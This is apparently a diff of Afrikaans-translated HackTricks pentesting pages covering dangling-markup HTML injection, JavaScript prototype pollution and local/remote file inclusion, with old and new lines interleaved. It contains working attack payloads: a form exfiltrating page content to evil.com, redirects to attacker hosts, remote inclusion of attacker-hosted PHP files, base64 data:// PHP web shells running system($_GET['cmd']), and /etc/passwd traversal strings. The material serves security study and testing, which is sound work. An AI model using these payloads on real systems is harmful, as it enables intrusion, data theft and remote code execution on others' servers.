'n Manier om die inhoud van die webblad van die punt van inspuiting na die onderkant na 'n aanvaller beheerde webwerf te ekfiltreer, sal wees om dit in te spuit:
|
||||
'n Manier om die inhoud van die webblad van die punt van inspuiting na die bodem na 'n aanvaller beheerde webwerf te ekfiltreer, sal wees om dit in te spuit:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
|
||||
... function submit_status_update() { ... request.share_with =
|
||||
document.getElementById('share_with').value; ... }
|
||||
```
|
||||
### Misleidende skripwerkvloei 2 - Skripnaamruimte-aanval
|
||||
### Misleidende skrip werkvloei 2 - Skrip naamruimte aanval
|
||||
|
||||
Skep veranderlikes binne javascript naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
|
||||
```html
|
||||
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
```
|
||||
Dit kan gemitigeer word met iets soos: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek **deur die iframe naam attribuut**. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat die **sensitiewe inligting binne die iframe naam attribuut laat verskyn** en dan daardie naam vanaf die aanvanklike iframe kan toegang verkry en dit kan lek.
|
||||
'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek **deur die iframe naam attribuut**. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat maak dat die **sensitiewe inligting binne die iframe naam attribuut verskyn** en dan daardie naam vanaf die aanvanklike iframe kan verkry en lek.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
@ -176,11 +176,11 @@ setTimeout(() => alert(win[0].name), 500)
|
||||
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
|
||||
onload="cspBypass(this.contentWindow)"></iframe>
|
||||
```
|
||||
Vir meer inligting, kyk na [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
|
||||
### \<meta misbruik
|
||||
|
||||
Jy kan **`meta http-equiv`** gebruik om **verskeie aksies** uit te voer, soos om 'n koekie in te stel: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` of om 'n herleiding uit te voer (in 5s in hierdie geval): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
Jy kan **`meta http-equiv`** gebruik om **verskeie aksies** uit te voer soos om 'n koekie in te stel: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` of om 'n herleiding uit te voer (in 5s in hierdie geval): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
|
||||
Dit kan **vermy** word met 'n **CSP** rakende **http-equiv** ( `Content-Security-Policy: default-src 'self';`, of `Content-Security-Policy: http-equiv 'self';`)
|
||||
|
||||
@ -193,7 +193,7 @@ Op die oomblik van hierdie skrywe moet jy die portal tag op Chrome aktiveer in `
|
||||
```
|
||||
### HTML Lekke
|
||||
|
||||
Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hulle hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
Nie al die maniere om konneksie in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hulle hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
||||
## SS-Lekke
|
||||
|
||||
@ -205,7 +205,7 @@ ss-leaks.md
|
||||
|
||||
## XS-Soek/XS-Lekke
|
||||
|
||||
XS-Soek is georiënteer om **cross-origin inligting te exfiltreer** deur **side channel aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos [**CSS Invoeging**](../xs-search/#css-injection) of [**Lazy Load Beelde**](../xs-search/#image-lazy-loading)**.**
|
||||
XS-Soek is georiënteer om **cross-origin inligting te exfiltreer** deur **side channel-aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos [**CSS Invoeging**](../xs-search/#css-injection) of [**Lazy Load Beelde**](../xs-search/#image-lazy-loading)**.**
|
||||
|
||||
{{#ref}}
|
||||
../xs-search/
|
||||
@ -213,7 +213,9 @@ XS-Soek is georiënteer om **cross-origin inligting te exfiltreer** deur **side
|
||||
|
||||
## Brute-Force Opsporing Lys
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -33,9 +33,9 @@ employee1.__proto__
|
||||
```
|
||||
### Prototypes in JavaScript
|
||||
|
||||
JavaScript laat die wijziging, toevoeging of verwydering van prototipe-attribuutte tydens uitvoering toe. Hierdie buigsaamheid stel die dinamiese uitbreiding van klasfunksies in staat.
|
||||
JavaScript stel die wysiging, toevoeging of verwydering van prototipe-attribuutte in staat tydens uitvoering. Hierdie buigsaamheid stel die dinamiese uitbreiding van klasfunksies in staat.
|
||||
|
||||
Funksies soos `toString` en `valueOf` kan verander word om hul gedrag te verander, wat die aanpasbare aard van JavaScript se prototipesisteem demonstreer.
|
||||
Funksies soos `toString` en `valueOf` kan verander word om hul gedrag te verander, wat die aanpasbare aard van JavaScript se prototipe-stelsel demonstreer.
|
||||
|
||||
## Inheritance
|
||||
|
||||
@ -47,7 +47,7 @@ Daar moet op gelet word dat wanneer 'n eienskap by 'n voorwerp gevoeg word wat a
|
||||
|
||||
## Exploring Prototype Pollution in JavaScript
|
||||
|
||||
JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die wijziging van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.
|
||||
JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die verandering van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.
|
||||
|
||||
Kom ons gebruik 'n ander voorbeeld om dit te illustreer:
|
||||
```javascript
|
||||
@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
|
||||
car1.__proto__.__proto__.isVehicle = true
|
||||
console.log(car1.isVehicle) // Outputs true
|
||||
```
|
||||
## prototype pollution
|
||||
## prototype besoedeling
|
||||
|
||||
Vir 'n scenario waar `__proto__` gebruik beperk is, is die aanpassing van 'n funksie se prototipe 'n alternatief:
|
||||
```javascript
|
||||
@ -98,7 +98,7 @@ console.log("Honk!")
|
||||
}
|
||||
car1.constructor.prototype.isElectric = true
|
||||
```
|
||||
Dit beïnvloed slegs voorwerpe wat van die `Vehicle` konstruktors geskep is, en gee hulle die `beep`, `hasWheels`, `honk`, en `isElectric` eienskappe.
|
||||
Dit raak slegs voorwerpe wat van die `Vehicle` konstruktors gemaak is, en gee hulle die `beep`, `hasWheels`, `honk`, en `isElectric` eienskappe.
|
||||
|
||||
Twee metodes om JavaScript voorwerpe globaal te beïnvloed deur prototype besoedeling sluit in:
|
||||
|
||||
@ -117,11 +117,11 @@ console.log("Hello!")
|
||||
```
|
||||
Na hierdie operasies kan elke JavaScript-objek `goodbye` en `greet` metodes uitvoer.
|
||||
|
||||
## Besmetting van ander objek
|
||||
## Besoedeling van ander objek
|
||||
|
||||
### Van 'n klas na Object.prototype
|
||||
|
||||
In 'n scenario waar jy 'n **spesifieke objek kan besmet** en jy moet **by `Object.prototype` kom**, kan jy daarna soek met iets soos die volgende kode:
|
||||
In 'n scenario waar jy 'n **spesifieke objek kan besoedel** en jy moet **by `Object.prototype` kom**, kan jy daarna soek met iets soos die volgende kode:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
@ -156,7 +156,7 @@ c[1] // 2 -- not
|
||||
```
|
||||
### Html element besoedeling
|
||||
|
||||
Wanneer 'n HTML-element via JS gegenereer word, is dit moontlik om die **`innerHTML`** attribuut te **oorwrite** om dit in staat te stel om **arbitraire HTML-kode** te skryf. [Idee en voorbeeld van hierdie skrywe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
Wanneer 'n HTML-element via JS gegenereer word, is dit moontlik om die **`innerHTML`** attribuut te **oorskryf** om **arbitraire HTML-kode** te skryf. [Idea en voorbeeld van hierdie skrywe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
```javascript
|
||||
// Create element
|
||||
devSettings["root"] = document.createElement('main')
|
||||
@ -183,9 +183,9 @@ Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
user.isAdmin // true
|
||||
```
|
||||
Die meganisme agter hierdie behels die manipulasie van eienskappe sodat, indien 'n aanvaller beheer het oor sekere insette, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die `__proto__` eienskap, wat, in JavaScript, sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.
|
||||
Die meganisme agter hierdie behels die manipulasie van eienskappe sodat, as 'n aanvaller beheer het oor sekere insette, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die `__proto__` eienskap, wat, in JavaScript, sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.
|
||||
|
||||
Die voorwaardes waaronder hierdie aanval suksesvol uitgevoer kan word, soos uiteengesit in 'n spesifieke [studie](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), sluit in:
|
||||
Die toestande waaronder hierdie aanval suksesvol uitgevoer kan word, soos uiteengesit in 'n spesifieke [studie](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), sluit in:
|
||||
|
||||
- Om 'n rekursiewe samesmelting uit te voer.
|
||||
- Eienskappe te definieer op grond van 'n pad.
|
||||
@ -213,27 +213,29 @@ client-side-prototype-pollution.md
|
||||
|
||||
### CVE-2019–11358: Prototype besoedeling aanval deur jQuery $ .extend
|
||||
|
||||
[Vir verdere besonderhede, kyk hierdie artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery kan die `$ .extend` funksie lei tot prototype besoedeling as die diep kopie kenmerk verkeerdelik gebruik word. Hierdie funksie word algemeen gebruik om voorwerpe te kloon of eienskappe van 'n standaard voorwerp te meng. egter, wanneer verkeerd geconfigureer, kan eienskappe wat bedoel is vir 'n nuwe voorwerp aan die prototype toegeken word. Byvoorbeeld:
|
||||
[Vir verdere besonderhede, kyk na hierdie artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery kan die `$ .extend` funksie lei tot prototype besoedeling as die diep kopie kenmerk verkeerdelik gebruik word. Hierdie funksie word algemeen gebruik om voorwerpe te kloon of eienskappe van 'n standaard voorwerp te meng. egter, wanneer verkeerd geconfigureer, kan eienskappe wat bedoel is vir 'n nuwe voorwerp aan die prototype toegeken word. Byvoorbeeld:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
```
|
||||
Hierdie kwesbaarheid, geïdentifiseer as CVE-2019–11358, illustreer hoe 'n diep kopie per ongeluk die prototipe kan verander, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongeoorloofde admin-toegang as eienskappe soos `isAdmin` nagegaan word sonder behoorlike bestaansertifikasie.
|
||||
Hierdie kwesbaarheid, geïdentifiseer as CVE-2019–11358, illustreer hoe 'n diep kopie per ongeluk die prototipe kan verander, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongeoorloofde admin toegang as eienskappe soos `isAdmin` nagegaan word sonder behoorlike bestaan verifikasie.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Prototipe besoedeling aanval deur lodash
|
||||
|
||||
[Vir verdere besonderhede, kyk hierdie artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) het soortgelyke prototipe besoedeling kwesbaarhede (CVE-2018–3721, CVE-2019–10744) ondervind. Hierdie probleme is in weergawe 4.17.11 aangespreek.
|
||||
[Lodash](https://www.npmjs.com/package/lodash) het soortgelyke prototipe besoedeling kwesbaarhede ondervind (CVE-2018–3721, CVE-2019–10744). Hierdie probleme is in weergawe 4.17.11 aangespreek.
|
||||
|
||||
### Nog 'n tutoriaal met CVE's
|
||||
### Nog 'n tutoriaal met CVEs
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
|
||||
{{#endref}}
|
||||
|
||||
### Gereedskap om Prototipe Besoedeling te ontdek
|
||||
### Gereedskap om Prototipe Besoedeling te Detecteer
|
||||
|
||||
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite uitbreiding ontwerp om server-kant prototipe besoedeling kwesbaarhede in webtoepassings te ontdek en te analiseer. Hierdie hulpmiddel outomatiseer die proses van skandering van versoeke om potensiële prototipe besoedeling probleme te identifiseer. Dit benut bekende gadgets - metodes om prototipe besoedeling te benut om skadelike aksies uit te voer - met spesifieke fokus op Node.js biblioteke.
|
||||
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Hierdie uitbreiding identifiseer server-kant prototipe besoedeling kwesbaarhede. Dit gebruik tegnieke wat beskryf word in die [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
|
||||
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite uitbreiding ontwerp om server-kant prototipe besoedeling kwesbaarhede in webtoepassings te detecteer en te analiseer. Hierdie hulpmiddel outomatiseer die proses van skandering van versoeke om potensiële prototipe besoedeling probleme te identifiseer. Dit benut bekende gadgets - metodes om prototipe besoedeling te benut om skadelike aksies uit te voer - met spesifieke fokus op Node.js biblioteke.
|
||||
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Hierdie uitbreiding identifiseer server kant prototipe besoedeling kwesbaarhede. Dit gebruik tegnieke wat beskryf word in die [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
|
||||
|
||||
### AST Prototipe Besoedeling in NodeJS
|
||||
|
||||
@ -279,11 +281,11 @@ const template = Handlebars.precompile(source)
|
||||
|
||||
console.log(eval("(" + template + ")")["main"].toString())
|
||||
```
|
||||
Hierdie kode demonstreer hoe 'n aanvaller arbitrêre kode in 'n Handlebars-sjabloon kan inspuit.
|
||||
Hierdie kode demonstreer hoe 'n aanvaller willekeurige kode in 'n Handlebars-sjabloon kan inspuit.
|
||||
|
||||
**Buite Verwysing**: 'n Probleem rakende prototipe besoedeling is in die 'flat' biblioteek gevind, soos hier beskryf: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
**Buitelandse Verwysing**: 'n Probleem rakende prototipe besoedeling is in die 'flat' biblioteek gevind, soos hier beskryf: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
|
||||
**Buite Verwysing**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
|
||||
**Buitelandse Verwysing**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Voorbeeld van prototipe besoedeling eksploit in Python:
|
||||
```python
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Bestandsinsluiting/Pad traversering
|
||||
# Bestandsinsluiting/Pad traversie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -19,9 +19,11 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Deur verskeie \*nix LFI-lists te meng en meer paaie by te voeg, het ek hierdie een geskep:**
|
||||
**Deur verskeie \*nix LFI-lists te meng en meer padhulpmiddels by te voeg, het ek hierdie een geskep:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Probeer ook om `/` te verander na `\`\
|
||||
Probeer ook om `../../../../../` by te voeg.
|
||||
@ -32,7 +34,9 @@ Probeer ook om `../../../../../` by te voeg.
|
||||
|
||||
Samevoeging van verskillende woordlyste:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Probeer ook om `/` te verander na `\`\
|
||||
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
|
||||
@ -80,17 +84,17 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Verkenning van Lêerstelsels op 'n Bediening
|
||||
|
||||
Die lêerstelsel van 'n bediener kan herhalend verken word om direkteure te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die diepte van die direkteur en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||
Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||
|
||||
1. **Bepaal Direkteur Diepte:** Bepaal die diepte van jou huidige direkteur deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
|
||||
1. **Bepaal Directory Diepte:** Bepaal die diepte van jou huidige directory deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Dienste vir Gidsen:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
|
||||
2. **Dienste vir Gidsen:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpret die Resultate:** Die bediener se antwoord dui aan of die gids bestaan:
|
||||
3. **Interpreteer die Resultate:** Die bediener se antwoord dui aan of die gids bestaan:
|
||||
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde plek nie.
|
||||
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
|
||||
4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
|
||||
@ -101,13 +105,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Pad Afkorting Tegniek**
|
||||
|
||||
Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
|
||||
Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat bykomende karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
|
||||
|
||||
In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad hanteer.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
|
||||
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
|
||||
- Op soortgelyke wyse, as `.php` aan 'n lêerpad (soos `shellcode.php`) gevoeg word, sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry word, verander nie.
|
||||
- Op soortgelyke wyse, as `.php` aan 'n lêerpad bygevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry word, verander nie.
|
||||
|
||||
Die verskafde voorbeelde demonstreer hoe om pad afkorting te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
|
||||
```
|
||||
@ -121,11 +125,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
||||
|
||||
- **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde strings deur die bediener ignoreer.
|
||||
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde strings (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
|
||||
- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
|
||||
- **Gebruik van Puntegmenten en Bykomende Karakters**: Traversal-sekwensies (`../`) gekombineer met ekstra puntegmenten en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde strings deur die bediener ignoreer.
|
||||
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl daar verseker word dat enige bygevoegde strings (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
|
||||
- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se padparsinglogika te voldoen.
|
||||
|
||||
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
|
||||
Wanneer padafkortingstegnieke toegepas word, is dit van kardinale belang om die bediener se padparsinggedrag en lêerstelselsamestelling te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
|
||||
|
||||
**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
|
||||
|
||||
@ -137,9 +141,9 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
## Afgeleë Lêer Insluiting
|
||||
|
||||
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** is **Af.** Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
|
||||
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -149,15 +153,15 @@ As dit om een of ander rede **`allow_url_include`** is **Aan**, maar PHP **filte
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64 dekodeer sal daardie deel net rommel teruggee en die werklike PHP kode sal ingesluit word (en dus, uitgevoer).
|
||||
> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64 dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer word).
|
||||
|
||||
Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Python Wortel element
|
||||
|
||||
In python in a code like this one:
|
||||
In python in 'n kode soos hierdie:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
@ -173,7 +177,7 @@ Dit is die bedoelde gedrag volgens [die dokumentasie](https://docs.python.org/3.
|
||||
|
||||
## Java Lys Gidsen
|
||||
|
||||
Dit lyk of as jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggestuur word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
|
||||
Dit lyk of as jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
|
||||
|
||||
## Top 25 parameters
|
||||
|
||||
@ -269,11 +273,11 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### Gebruik php filters as orakel om arbitrêre lêers te lees
|
||||
|
||||
[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n **booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php filters** as orakel. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering gooi.
|
||||
[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n **booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php filters** as orakel. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering kan gooi.
|
||||
|
||||
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
|
||||
|
||||
- Gebruik die kodek **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.
|
||||
- Gebruik die kodek **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en die grootte van die string eksponensieel te laat toeneem.
|
||||
- Dit sal gebruik word om 'n **teks so groot te genereer wanneer die aanvanklike letter korrek geraai word** dat php 'n **fout** sal veroorsaak.
|
||||
- Die **dechunk** filter sal **alles verwyder as die eerste karakter nie 'n hexadesimale is nie**, sodat ons kan weet of die eerste karakter hex is.
|
||||
